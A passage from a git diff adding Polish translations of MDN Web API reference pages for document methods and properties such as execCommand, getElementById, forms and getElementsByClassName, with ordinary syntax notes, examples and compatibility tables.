+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>{{event("drag")}}</li>
+ <li>{{event("dragstart")}}</li>
+ <li>{{event("dragend")}}</li>
+ <li>{{event("dragover")}}</li>
+ <li>{{event("dragenter")}}</li>
+ <li>{{event("dragleave")}}</li>
+ <li>{{event("dragexit")}}</li>
+ <li>{{event("drop")}}</li>
+ <li><a href="http://jsfiddle.net/zfnj5rv4/">Demo</a></li>
+</ul>
diff --git a/files/pl/web/api/document/embeds/index.html b/files/pl/web/api/document/embeds/index.html
new file mode 100644
index 0000000000..ca0ab4ff2f
--- /dev/null
+++ b/files/pl/web/api/document/embeds/index.html
@@ -0,0 +1,22 @@
+---
+title: document.embeds
+slug: Web/API/Document/embeds
+tags:
+ - DOM
+ - DOM_0
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/embeds
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><b>embeds</b> zwraca listę obiektów OBJECT zagnieżdżonych w bieżącym dokumencie.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>listaWęzłów</i> = document.embeds
+</pre>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>{{ DOM0() }}</p>
+<p><br>
+ <a class="external" href="http://msdn.microsoft.com/workshop/author/dhtml/reference/collections/embeds.asp">MSDN: embeds collection</a></p>
+<p>{{ languages( { "en": "en/DOM/document.embeds" } ) }}</p>
diff --git a/files/pl/web/api/document/execcommand/index.html b/files/pl/web/api/document/execcommand/index.html
new file mode 100644
index 0000000000..0718107051
--- /dev/null
+++ b/files/pl/web/api/document/execcommand/index.html
@@ -0,0 +1,280 @@
+---
+title: Document.execCommand()
+slug: Web/API/Document/execCommand
+tags:
+ - API
+ - DOM
+ - Method
+ - NeedsBrowserCompatibility
+ - NeedsExample
+ - Reference
+ - edytor
+translation_of: Web/API/Document/execCommand
+---
+<div></div>
+
+<div>Kiedy dokument HTML jest przełączony w tryb <code>designMode</code>, obiekt dokumentu udostępnia metodę <code>execCommand</code>, która pozwala uruchomić komendy manipulujące edytowalnym obszarem. Większość poleceń wpływa na zaznaczony obszar (pogrubienie, kursywa itd.), podczas gdy inne wstawiają nowe elementy (dodawanie linku) lub wpływają na całą linię (wcięcia). Przy użyciu <code>contentEditable</code>, wywołanie <code>execCommand()</code> wpływa na aktywny edytowalny element.</div>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox notranslate"><em>bool</em> = document.execCommand(<em>aCommandName</em>, <em>aShowDefaultUI</em>, <em>aValueArgument</em>)
+</pre>
+
+<h3 id="Zwracane_wartości">Zwracane wartości</h3>
+
+<p>Obiekt {{jsxref('Boolean')}}, który zwraca <code>false</code>, jeśli polecenie jest niewspierane lub włączone. <strong>Uwaga</strong>: Zwraca prawdę tylko jeśli jest częścią UI, to znaczy - nie jest używana do sprawdzania wsparcia przeglądarki przed renderowaniem elementu, który wywołuje polecenie. </p>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>aCommandName</code></dt>
+ <dd>Typu {{domxref("DOMString")}} - określanazwę polecenia do wykonania. Zobacz {{anch("Commands")}}, aby wyświetlić listę poleceń.</dd>
+ <dt><code>aShowDefaultUI</code></dt>
+ <dd>Typu {jsxref("Boolean")}} - wskazuje czy domyślny interfejs użytkownika powinien być pokazany. Nie jest implementowane przez Mozillę.</dd>
+ <dt><code>aValueArgument</code></dt>
+ <dd>W przypadku komend wymagających wprowadzenia argumentu (takiego jak <code>insertImage</code>, gdzie jest to URL do grafiki do wstawienia), jest to {{domxref("DOMString")}} przekazujący te informacje. Podaj null, jeśli niewymagany.</dd>
+</dl>
+
+<h3 id="Polecenia">Polecenia</h3>
+
+<dl>
+ <dt><code>backColor</code></dt>
+ <dd>Zmienia kolor tła. W trybie <code>styleWithCss</code> zmieia kolor jedynie zawierającego elementu. Wymaga podania ciągu znaków{{cssxref("&lt;color&gt;")}} jako wartości argumentu. Zwróć uwagę na to, że Internet Explorer używa tego do zmiany koloru tła tekstu.</dd>
+ <dt><code>bold</code></dt>
+ <dd>Włącza/wyłącza pogrubienie w zaznaczeniu lub miejscu wstawiania. IE używa znacznika {{HTMLElement("strong")}} zamiast {{HTMLElement("b")}}.</dd>
+ <dt><code>contentReadOnly</code></dt>
+ <dd>Sprawia, że dokument jest zawartość jest tylko do odczytu lub edytowalna. Wymaga prawdy/fałszu jako wartości argumentu. (Nie wspierany przez IE).</dd>
+ <dt><code>copy</code></dt>
+ <dd>Kopiuje zaznaczenie do schowkka. Warunki włączenia tego zachowania różnią się między przeglądarkami i zmieniają się w czasie. Sprawdź tabelę zgodności, aby określić, czy możesz użyć w swoim przypadku.</dd>
+ <dt><code>createLink</code></dt>
+ <dd>Wstawia link z zaznaczenia (wymaga zaznaczenia). HREF URI musi być podany jako wartość argumentu. URI musi zawierać co najmniej jeden zak, może być białym znakiem (IE utworzy link z wartością null).</dd>
+ <dt><code>cut</code></dt>
+ <dd>Usuwa zaznaczenie kopiując do schowka. Warunki włączenia tego zachowania różnią się między przeglądarkami i zmieniają się w czasie. Sprawdź tabelę zgodności, aby określić, czy możesz użyć w swoim przypadku.</dd>
+ <dt><code>decreaseFontSize</code></dt>
+ <dd>Wstawia znacznik {{HTMLElement("small")}} wokół zaznaczenia lub w miejscu wstawienia. (Nie wspierane przez IE.)</dd>
+ <dt><code>defaultParagraphSeparator</code></dt>
+ <dd>Zmienia separator akapitu używany podczas tworzenia nowych akapitów w edytowalnych regionach tekstowych.  Zobacz <a href="/pl/docs/Web/Guide/HTML/Editable_content#Differences_in_markup_generation">Differences in markup generation</a> po więcej szczegółów.</dd>
+ <dt><code>delete</code></dt>
+ <dd>Usuwa zaznaczenie.</dd>
+ <dt><code>enableInlineTableEditing</code></dt>
+ <dd>Włącza lub wyłącza wstawianie wierszy i kolumn oraz elementy sterujące usuwaniem. (Nie obsługiwane przez Internet Explorer.)</dd>
+ <dt><code>enableObjectResizing</code></dt>
+ <dd>Umożliwia lub uniemożliwia zmianę rozmiaru uchwytów na obrakach lub innych skalowalnych obiektów.  (Nie wspierane przez IE)</dd>
+ <dt><code>fontName</code></dt>
+ <dd>Zmienia nazwę czcionki dla zaznaczenia lub w punkcie wstawiania. Wymaga ciągu znaków (np. <code>"Arial"</code>) jako wartości argumentu.</dd>
+ <dt><code>fontSize</code></dt>
+ <dd>Zmienia rozmiar czcionki dla zaznaczenia lub w punkcie wstawiania. Wymaga rozmiaru czcionki HTML (<code>1</code>-<code>7</code>) jako wartości argumentu.</dd>
+ <dt><code>foreColor</code></dt>
+ <dd>Zmienia kolor czcionki dla zaznaczenia lub w punkcie wstawiania. Wymaga wartości koloru (w postaci ciągu znaków) jako wartości argumentu.</dd>
+ <dt><code>formatBlock</code></dt>
+ <dd>Wstawia tag stylu blokowego dla linii w zaznaczeniu, zastępując blokowy element zawierający linię, jeśli taki istnieje (w Firefoxie, BLOCKQUOTE jest wyjątkiem - zawinie blokowy element zawierający).  Wymaga ciągu znaków oznaczającego znacznik jako wartość argumentu. Można użyć praktycznie wszystkich (np. "H1", "P", "DL", "BLOCKQUOTE). (IE wspiera jedynie H1-H6, "ADDRESS", PRE, które jeszcze muszą zawierać nawiasy znaczników &lt;&gt;, tak jak "&lt;h1"&gt;).</dd>
+ <dt><code>forwardDelete</code></dt>
+ <dd>Usuwa znak przed pozycją <a href="http://en.wikipedia.org/wiki/Cursor_%28computers%29">kursora</a>.  Działa jak wciśnięcie klawisza Delete.</dd>
+ <dt><code>heading</code></dt>
+ <dd>Wstawia tag nagłówka naokoło zaznaczenia lub w miejscu wstawiania. Wymaga ciągu znaków oznaczającego nazwę tagu jako wartości argumentu (np. "H1", "H6"). (Nie wspierane przez IE ani Safari).</dd>
+ <dt><code>hiliteColor</code></dt>
+ <dd>Zmienia kolor tła dla zaznaczenia lub w miejscu wstawiania. Wymaga ciągu znaków w postaci wartości kolorów jako wartości argumentu. Do użycia tej funkcji jest wymagane użycie CSS. (Nie wspierane przez IE).</dd>
+ <dt><code>increaseFontSize</code></dt>
+ <dd>Wstawia tag BIG naokoło zaznaczenia lub w miejscu wstawiania. (Nie wspierane przez IE).</dd>
+ <dt><code>indent</code></dt>
+ <dd>Wcina wiersz zawierający zaznaczenie lub punkt wstawiania. W Firefixie, jeśli zaznaczenie obejmuje wiele linii na różnych poziomach wcięcia, jedynie ostatnie wcięte linie zostaną wcięte.</dd>
+ <dt><code>insertBrOnReturn</code></dt>
+ <dd>Kontroluje, czy klawisz Enter wstawia tag BR, czy dzieli elemet blokowy na dwa (Nie wspierane przez IE)</dd>
+ <dt><code>insertHorizontalRule</code></dt>
+ <dd>Wstawia poziomą linię w miejscu wstawiania (usuwa zaznaczenie).</dd>
+ <dt><code>insertHTML</code></dt>
+ <dd>Wstawia ciąg znaków w postaci kodu HTML (usuwa zaznaczenie). Wymaga poprawnego kodu jako wartość argumentu. (Nie wspierane prze</dd>
+ <dt><code>insertImage</code></dt>
+ <dd>Wstawia grafikę w punkcie wstawiania (usuwa zaznaczenie). Wymaga ciągu znaków w postaci SRC URI jako wartości argumentu. URI musi zawierać co najmniej jeden znak (może być to biały znak). (Nie wspierane przez IE).</dd>
+ <dt><code>insertOrderedList</code></dt>
+ <dd>Wstawia numerowaną listę dla zaznaczenia lub w punkcie wstawiania.</dd>
+ <dt><code>insertUnorderedList</code></dt>
+ <dd>Wstawia punktowaną listę dla zaznaczenia lub w punkcie wstawiania.</dd>
+ <dt><code>insertParagraph</code></dt>
+ <dd>Wstawia akapit naokoło zaznaczenia lub w danej linii. (IE wstawia akapit w miejscu wstaawiania i usuwa zaznaczenie).</dd>
+ <dt><code>insertText</code></dt>
+ <dd>Wstawia dany tekst w miejsce wstawiania (usuwa zaznaczenie).</dd>
+ <dt><code>italic</code></dt>
+ <dd>Włącza/wyłącza pochylenie dla zaznaczenia lub w miejscu wstawiania (IE używa tagu EM zamiast I).</dd>
+ <dt><code>justifyCenter</code></dt>
+ <dd>Wyśrodkowuje zaznaczenie lub miejsce wstawiania.</dd>
+ <dt><code>justifyFull</code></dt>
+ <dd>Justuje zaznaczenie lub miejsce wstawiania.</dd>
+ <dt><code>justifyLeft</code></dt>
+ <dd>Wyrównuje do lewej zaznaczenie lub miejsce wstawiania.</dd>
+ <dt><code>justifyRight</code></dt>
+ <dd>Wyrównuje do prawej zaznaczenie lub miejsce wstawiaia.</dd>
+ <dt><code>outdent</code></dt>
+ <dd>Wysuwa linię zawierającą zaznaczenie lub punkt wstawiania.</dd>
+ <dt><code>paste</code></dt>
+ <dd>Wstawia zawartość schowka w miejscu wstawiania (zastępuje zaznaczenie). Nie działa dla zawartości z internetu. Zobacz [1]</dd>
+ <dt><code>redo</code></dt>
+ <dd>Ponawia ostatnio cofniętą komendę.</dd>
+ <dt><code>removeFormat</code></dt>
+ <dd>Usuwa całe formatowanie z zaznaczenia.</dd>
+ <dt><code>selectAll</code></dt>
+ <dd>Zaznacza całą zawartość z edytowalnego obszaru.</dd>
+ <dt><code>strikeThrough</code></dt>
+ <dd>Włącza/wyłącza przekreślenie dla zaznaczenia lub w punkcie wstawiania.</dd>
+ <dt><code>subscript</code></dt>
+ <dd>Włącza/wyłącza indeks dolny dla zaznaczenia lub w punkcie wstawiania.</dd>
+ <dt><code>superscript</code></dt>
+ <dd>Włącza/wyłącza indeks górny dla zaznaczenia lub w punkcie wstawiania.</dd>
+ <dt><code>underline</code></dt>
+ <dd>Włącza/wyłącza podkreślenie dla zaznaczenia lub w punkcie wstawiania.</dd>
+ <dt><code>undo</code></dt>
+ <dd>Cofa ostatnio wykonaną komendę.</dd>
+ <dt><code>unlink</code></dt>
+ <dd>Usuwa tag kotwicy z zaznaczonego linku.</dd>
+ <dt><code>useCSS</code> {{Deprecated_inline}}</dt>
+ <dd>Przełącza użycie HTML/CSS dla generowanego kodu. Wymaga prawdy/fałszu jako wartości argumentu. UWAGA: dla CSS wymaga fałszu, dla HTML - prawdy. (Nie jest wspierane przez IE). Deprecjonowana właściwość. Użyj <em>styleWithCSS</em></dd>
+ <dt><code>styleWithCSS</code></dt>
+ <dd>Zastępuje <em>useCSS</em>; działa normalnie - dla CSS wymaga prawdy, fałsz generuje HTML.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>Zobacz <a href="http://codepen.io/netsi1964/full/QbLLGW/">how to use</a> w CodePen.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML Editing', '#execcommand()', 'execCommand')}}</td>
+ <td>{{Spec2('HTML Editing')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>insertBrOnReturn</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>copy</code>/<code>cut</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop(41)}}</td>
+ <td>9</td>
+ <td>29</td>
+ <td>10</td>
+ </tr>
+ <tr>
+ <td><code>defaultParagraphSeparator</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop(55)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>insertBrOnReturn</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>copy</code>/<code>cut</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile(41)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>defaultParagraphSeparator</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile(55)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Przed przeglądarką Firefox 41 w pliku preferencji user.js trzeba było włączyć obsługę schowka. Aby uzyskać więcej informacji, zobacz <a href="/en-US/docs/Preferences/A_brief_guide_to_Mozilla_preferences">Krótki przewodnik po preferencjach Mozilli</a>. Jeśli polecenie nie było obsługiwane lub włączone, <code>execCommand</code> rzucał wyjątek zamiast zwracać <code>false</code>. W Firefoxie 41 i nowszych, schowek może zostać zapisany w dowolnym programie obsługi zdarzeń read the clipboard. WebExtensions can <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Interact_with_the_clipboard">interact with the clipboard</a>.</p>
+
+<p>Przed przeglądarką Firefox 41 w pliku preferencji user.js trzeba było włączyć obsługę schowka. Aby uzyskać więcej informacji, zobacz Krótki przewodnik po preferencjach Mozilli. Jeśli polecenie nie było obsługiwane lub włączone, execCommand podnosił wyjątek zamiast zwracać fałsz. W przeglądarce Firefox 41 i nowszych schowek może zostać zapisany w dowolnej obsłudze zdarzeń, która może spowodować wyskoczenie okna (częściowo zaufane skrypty), ale żadna treść internetowa nie może odczytać schowka. WebExtensions mogą wchodzić w interakcje ze schowkiem.</p>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>{{domxref("HTMLElement.contentEditable")}}</li>
+ <li>{{domxref("document.designMode")}}</li>
+ <li><a href="/en-US/docs/Rich-Text_Editing_in_Mozilla">Rich-Text Editing in Mozilla</a></li>
+ <li><a href="https://github.com/guardian/scribe/blob/master/BROWSERINCONSISTENCIES.md">Scribe's "Browser Inconsistencies" documentation</a> z błędami odnoszącymi się do <code>document.execCommand</code>.{{CompatUnknown}}</li>
+</ul>
diff --git a/files/pl/web/api/document/fgcolor/index.html b/files/pl/web/api/document/fgcolor/index.html
new file mode 100644
index 0000000000..a9f0287372
--- /dev/null
+++ b/files/pl/web/api/document/fgcolor/index.html
@@ -0,0 +1,28 @@
+---
+title: document.fgColor
+slug: Web/API/Document/fgColor
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/fgColor
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><b>fgColor</b> pobiera/ustawia kolor pierwszoplanowy (kolor tekstu) bieżącego dokumentu.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>kolor</i> = document.fgColor
+document.fgColor =<i>kolor</i>
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>kolor</code> jest ciągiem określającym kolor - słownie (np. "red") lub szesnastkowo, jak w HTML-u (np. "#fdfef8").</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre class="eval">document.fgColor = "white";
+document.bgColor = "darkblue";
+</pre>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>DOM Level 0 - brak w specyfikacji.</p>
+<p>{{ languages( { "en": "en/DOM/document.fgColor" } ) }}</p>
diff --git a/files/pl/web/api/document/firstchild/index.html b/files/pl/web/api/document/firstchild/index.html
new file mode 100644
index 0000000000..c2bc145b41
--- /dev/null
+++ b/files/pl/web/api/document/firstchild/index.html
@@ -0,0 +1,36 @@
+---
+title: document.firstChild
+slug: Web/API/Document/firstChild
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Node/firstChild
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><b>document.firstChild</b> zwraca pierwszy węzeł z listy bezpośrednich dzieci dokumentu.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>dziecko</i> = document.firstChild
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>dziecko</code> jest węzłem typu <a href="pl/DOM/element">element</a>.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>function fChild() {
+ f = document.firstChild;
+ alert(f.tagName);
+}
+// wyświetli: HTML
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Zauważ, że możesz powrócić do drzewa DOM z tą własnością, by przejąć te węzły potomne, których potrzebujesz, ponieważ prawie zawsze <b>firstChild</b> zwraca element HTML.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-169727388">firstChild </a></p>
+<p> </p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/document.firstChild", "es": "es/DOM/document.firstChild", "fr": "fr/DOM/document.firstChild", "ja": "ja/DOM/document.firstChild" } ) }}</p>
diff --git a/files/pl/web/api/document/forms/index.html b/files/pl/web/api/document/forms/index.html
new file mode 100644
index 0000000000..dcba1e18e0
--- /dev/null
+++ b/files/pl/web/api/document/forms/index.html
@@ -0,0 +1,45 @@
+---
+title: document.forms
+slug: Web/API/Document/forms
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/forms
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><b>forms</b> zwraca listę elementów FORM z bieżącego dokumentu.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>listaWęzłów</i> = document.forms
+</pre>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>&lt;html&gt;
+
+&lt;head&gt;
+&lt;title&gt; document.forms example&lt;/title&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;form id="robby"&gt;
+ &lt;input type="button" onclick="alert(document.forms[0].id);"
+ value="robby's form" /&gt;
+&lt;/form&gt;
+
+&lt;form id="dave"&gt;
+ &lt;input type="button" onclick="alert(document.forms[1].id);"
+ value="dave's form" /&gt;
+&lt;/form&gt;
+
+&lt;form id="paul"&gt;
+ &lt;input type="button" onclick="alert(document.forms[2].id);"
+ value="paul's form" /&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-1689064">forms </a></p>
+<p>{{ languages( { "en": "en/DOM/document.forms", "ja": "ja/DOM/document.forms" } ) }}</p>
diff --git a/files/pl/web/api/document/getelementbyid/index.html b/files/pl/web/api/document/getelementbyid/index.html
new file mode 100644
index 0000000000..51e1bd68c0
--- /dev/null
+++ b/files/pl/web/api/document/getelementbyid/index.html
@@ -0,0 +1,67 @@
+---
+title: document.getElementById
+slug: Web/API/Document/getElementById
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Document/getElementById
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Zwraca element o określonym ID.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><em>var element</em> = document.getElementById(<em>id</em>);
+</pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<ul>
+ <li><code>element</code> jest obiektem <a href="pl/DOM/element">element</a></li>
+ <li><code>id</code> jest ciągiem zawierającym unikalny ID szukanego elementu</li>
+</ul>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre>&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;Przykład getElementById&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function changeColor(newColor)
+{
+ var elem = document.getElementById("para1");
+ elem.style.color = newColor;
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;p id="para1"&gt;Jakiś tekst&lt;/p&gt;
+&lt;button onclick="changeColor('blue');"&gt;niebieski&lt;/button&gt;
+&lt;button onclick="changeColor('red');"&gt;czerwony&lt;/button&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<p><strong>getElementById</strong> jest absolutną podstawą DOM. Jedną z najważniejszych zasad w programowaniu DOM jest unikalne identyfikowanie elementów, dzięki czemu można je przechwycić i manipulować nimi.</p>
+
+<p>Jeżeli nie ma elementu o podanym ID, funkcja zwraca NULL. Zauważ też, że implementacja DOM musi wiedzieć, które atrybuty mają typ ID. Atrybuty o nazwie "ID" nie mają typu ID, o ile nie zostanie to tak zdefiniowane. Implementacje, które nie wiedzą, czy atrybuty mają typ ID czy nie, powinny zwracać NULL.</p>
+
+<p><strong>getElementById</strong> wprowadzono w DOM Level 2.</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<ul>
+ <li>DOM Level 2 Core Specification: <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-getElBId">getElementById </a></li>
+</ul>
+
+<p>{{ languages( { "en": "en/DOM/document.getElementById", "fr": "fr/DOM/document.getElementById", "ja": "ja/DOM/document.getElementById" } ) }}</p>
diff --git a/files/pl/web/api/document/getelementsbyclassname/index.html b/files/pl/web/api/document/getelementsbyclassname/index.html
new file mode 100644
index 0000000000..a9e2037ac3
--- /dev/null
+++ b/files/pl/web/api/document/getelementsbyclassname/index.html
@@ -0,0 +1,82 @@
+---
+title: Document.getElementsByClassName()
+slug: Web/API/Document/getElementsByClassName
+tags:
+ - API
+ - DOM
+ - HTML5
+ - Klasy
+translation_of: Web/API/Document/getElementsByClassName
+---
+<p id="Summary">{{APIRef("DOM")}}</p>
+
+<p>Zwraca obiekt podobny do tablicy, zawierający wszystkie elementy, które mają przypisaną daną klasę. Kiedy użyjemy tej funkcji w odniesieniu do elementu document, cały dokument jest przeszukiwany - na wszystkich poziomach.</p>
+
+<p>Możesz również użyć funkcji {{domxref("Element.getElementsByClassName", "getElementsByClassName()")}} na dowolnym elemencie; wtedy zwróci jedynie elementy zawierające daną klasę, które zawierają się w obrębie elementu wskazanego przez nas.</p>
+
+<h2 id="Syntax" name="Syntax">Składnia</h2>
+
+<pre class="syntaxbox"><var>var elements</var> = document.getElementsByClassName(<em>names</em>); // or:
+<var>var elements</var> = rootElement.getElementsByClassName(<em>names</em>);</pre>
+
+<ul>
+ <li><var>elements</var> jest bieżącym zbiorem znalezionych elementów.</li>
+ <li><var>names</var> jest łańcuchem reprezentującym listę szukanych przez nas nazw klas (nazwy klas są oddzielone od siebie spacjami)</li>
+ <li>getElementsByClassName może być użyta na dowolnym elemencie - nie tylko w całym dokumencie.</li>
+</ul>
+
+<h2 id="Examples" name="Examples">Przykłady</h2>
+
+<p>Szukamy wszystkich elementów posiadających klasę 'test':</p>
+
+<pre class="brush: js">document.getElementsByClassName('test');</pre>
+
+<p>Szukamy elementów, które posiadają jednocześnie klasę 'red' oraz 'test':</p>
+
+<pre class="brush: js">document.getElementsByClassName('red test');</pre>
+
+<p>Szukamy elementów posiadających klasę 'test', w obrębie elementu o ID 'main':</p>
+
+<pre class="brush: js">document.getElementById('main').getElementsByClassName('test');</pre>
+
+<p>Możemy też użyć metody Array.prototype. W ten sposób znajdziemy wszystkie elementy div posiadające klasę 'test':</p>
+
+<pre class="brush: js">var testElements = document.getElementsByClassName('test');
+var testDivs = Array.prototype.filter.call(testElements, function(testElement){
+ return testElement.nodeName === 'DIV';
+});</pre>
+
+<h2 id="Uwagi">Uwagi</h2>
+
+<p>Należy zwrócić uwagę na różnice w zwracanej wartości w zależności od składni (aby została zwrócona konkretna wartość należy posłużyć się indeksem):</p>
+
+<pre>&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+ &lt;meta charset="UTF-8"&gt;
+ &lt;title&gt;Document&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+ &lt;div id="parent-id"&gt;
+ &lt;p&gt;hello word1&lt;/p&gt;
+ &lt;p class="test"&gt;hello word2&lt;/p&gt;
+ &lt;p &gt;hello word3&lt;/p&gt;
+ &lt;p&gt;hello word4&lt;/p&gt;
+ &lt;/div&gt;
+ &lt;script&gt;
+ var parentDOM = document.getElementById("parent-id");
+
+ var test=parentDOM.getElementsByClassName("test");//test is not target element
+ console.log(test);//HTMLCollection[1]
+
+ var testTarget=parentDOM.getElementsByClassName("test")[0];//here , this element is target
+ console.log(testTarget);//&lt;p class="test"&gt;hello word2&lt;/p&gt;
+ &lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<ul>
